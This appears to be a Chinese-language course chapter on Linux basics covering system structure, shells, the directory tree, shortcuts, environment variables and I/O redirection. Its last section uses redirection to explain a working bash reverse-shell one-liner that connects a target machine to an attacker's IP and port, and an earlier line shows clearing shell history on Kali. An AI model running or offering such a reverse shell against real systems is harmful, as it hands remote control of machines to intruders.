首页 > 编程学习 > 章节4 Linux操作系统基础知识

章节4 Linux操作系统基础知识

发布时间:2022/11/24 23:21:47

4.1-Linux系统结构

Linux系统结构

  1. 内核
  2. Shell
  3. 文件系统
  4. 应用程序

在这里插入图片描述

Linux操作系统内核

  1. 管理进程
  2. 管理内存
  3. 管理驱动
  4. 管理文件和网络

Linux Shell

接收用户的命令,经过转换,交给内核去执行

cat —> open() read()

  1. 简化操作
  2. 安全

Linux Shell工具(了解)

在这里插入图片描述

在这里插入图片描述

名称程序路径作者
bourne Shell/usr/bin/sh或/bin/shStephen Bourne
C Shell/usr/bin/cshBill Joy
K Shell/usr/bin/kshDavid Korn
Bourne Again Shell/bin/bashBrian Fox
Z Shell/bin/zsh或/usr/bin/zshPaul Falstad

Windows: cmd、Power Shell

Shell和Terminal

在这里插入图片描述

Shell编程/Shell脚本(.sh)

在这里插入图片描述

Linux文件系统

“一切皆文件”

普通文件、目录、进程(/proc)、输入输出设备(/dev)、网络字节流socket、链接文件、管道文件

查看文件作用
lsof /bin/bash查看某个文件相关的进程
lsof -u root列出某个用户打开的文件信息
lsof -c redis列出某个程序进程所打开的文件信息
lsof -i tcp列出所有tcp网络连接信息

Linux目录

(颜色无需记忆)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根目录文件-1

(理解,无需记忆)

目录作用备注
bin存放普通用户可执行的指令即使在单用户模式下也能够执行处理
boot开机引导目录包括Linux内核文件与开机所需要的所需要的文件
dev设备目录所有的硬件设备及周边均放置在这个设备目录中,比如声卡、磁盘
etc各种配置文件目录大部分配置属性均存放在这里
lib库文件存放地,bin和sbin需要的库文件类似windows的DDL
media可移除设备挂载目录类似U盘、光盘、移动硬盘等临时挂放目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根目录文件-2

目录作用备注
mnt用户临时挂载其他的文件系统额外的设备可挂载在这里,相对临时而言
opt第三方软件安装目录现在习惯地放置在/usr/local中
proc虚拟文件系统通常是内存中的映射,特别注意在误删数据文件后,比如DB,只要系统不重启,还是有很大几率能将数据找回来**(了解)**
root系统管理员目录除root之外,其他用户均放置在/home目录下
run系统运行时所需文件以前放置在/var/run中,后来拆分成独立的run目录。重启后生成对应的目录数据

在这里插入图片描述

根目录文件-3

目录作用备注
sbin只有root才能运行的管理命令跟bin类似,但只属于root管理员
srv服务启动后需要访问的数据目录
sys跟proc一样,虚拟文件系统记录核心系统硬件信息
tmp存放临时文件目录所有用户对该目录均可读写
usr应用程序放置目录
var存放系统执行过程经常改变的文件

用户主目录

主目录:home directory

root用户的主目录是 /root

其他用户的主目录是 /home/用户名

cd 空格 或者 cd ~

工作目录:working directory

目录指代

符号指代
绝对路径由根目录 / 开始写起
相对路径从当前所在的工作目录开始写起
/根目录
.代表当前目录
~代表用户工作目录,vim ~/.bashrc
…/代表上一级目录
…/…/上上一级目录,以此类推,超出范围的时候代表根目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

4.2-Linux常用操作

命令帮助

man command(manual)——具体参数和使用方法**(用的最多)**

whatis command——命令的简要说明**(了解)**

info command——详细介绍**(了解)**

help command——Linux内置命令**(了解)**

关机重启(root用户)

关机:

poweroff

shutdown -h now

halt -p

重启:

reboot

快捷键和命令-1

操作作用
Tab键补全命令和目录(自动提示)
方向键上一条命令:↑;下一条命令↓
Ctrl + r搜索历史命令,回车执行
!cd:重复执行最近一次,以cd开头的历史命令
Ctrl + Insert(不是所有电脑都用得了,本人就用不了)复制
Shift + Insert(不是所有电脑都用得了,本人就用不了)粘贴
Alt + Insert(不是所有电脑都用得了,本人就用不了)复制并粘贴

快捷键和命令-2

操作作用
Ctrl + E光标移动到行尾
Ctrl + A光标移动到行首
Ctrl + K清楚光标后至行尾
Ctrl + U清楚光标前至行首间的所有内容
clear清屏,但是命令都还在
history查看历史命令
history -c清楚历史命令 kali: echo > ~/.zsh_history

别名设置

查看别名:alias

设置别名(以bash为例):vim ~/.bashrc

格式:alias short=‘xxx;xxx’

生效:source ~/.bashrc

通配符

符号指代
*任意字符
?单个字符
[]可以查询到与括号内匹配的结果,比如[0-9] [a-z]
{}可以查询到与括号内文件类型匹配的所有文件结果 ll {*.log, *.txt}
^取反 ll *{^txt} 查找不是.txt结尾的文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

系统环境变量

查看全部变量:env

查看单个变量:echo $XXX

用户变量:~/.bashrc

系统变量:/etc/profile

在这里插入图片描述

案例:设置JDK环境变量

vim /etc/profileexport JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile

4.3-文件描述符和重定向

文件描述符 File Descriptor

ID描述设备
0标准输入(stdin)键盘
1标准输出(stdout)显示器
2标准错误输出(stderr)显示器

重定向

符号类别
>和>>输出重定向
&>表示将一个流(stream)重定向到另一个文件描述符(file descriptor)
<和<<输入重定向

重定向:改变输入输出的方向

输出重定向

在这里插入图片描述

>:覆盖

>>:追加

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

输入重定向

命令格式示例
command < file将file文件中的内容作为command的输入(省略了0)
command < END从标准输入(键盘)中读取数据,直到遇见分界符才停止
command < file1> file2将file1作为command的输入,并将command的处理结果输出到file2
wc -l < test.txt统计test.txt文件中有多少行文本
wc -l << END统计用户在终端输入的文本的行数

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Shift+ G

在这里插入图片描述

q:退出

在这里插入图片描述

在这里插入图片描述

bash反弹连接案例

(不需要理解什么是反弹连接,为什么它可以获得一个控制别人的窗口)

bash -i >& /dev/tcp/192.168.142.44/7777 0>&1

bash -i 在靶机打开交互式的Shell

/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口

>&和&>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机**——接收结果用。**

0>&1,左边是标准输入。右边是标准输出输出重定向。把靶机的输入重定向为攻击机的输出**——接收命令用。**

所以,靶机的输入输出都到了攻击机上。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


本文链接:https://www.ngui.cc/article/show-701464.html
Copyright © 2010-2022 ngui.cc 版权所有 |关于我们| 联系方式| 豫B2-20100000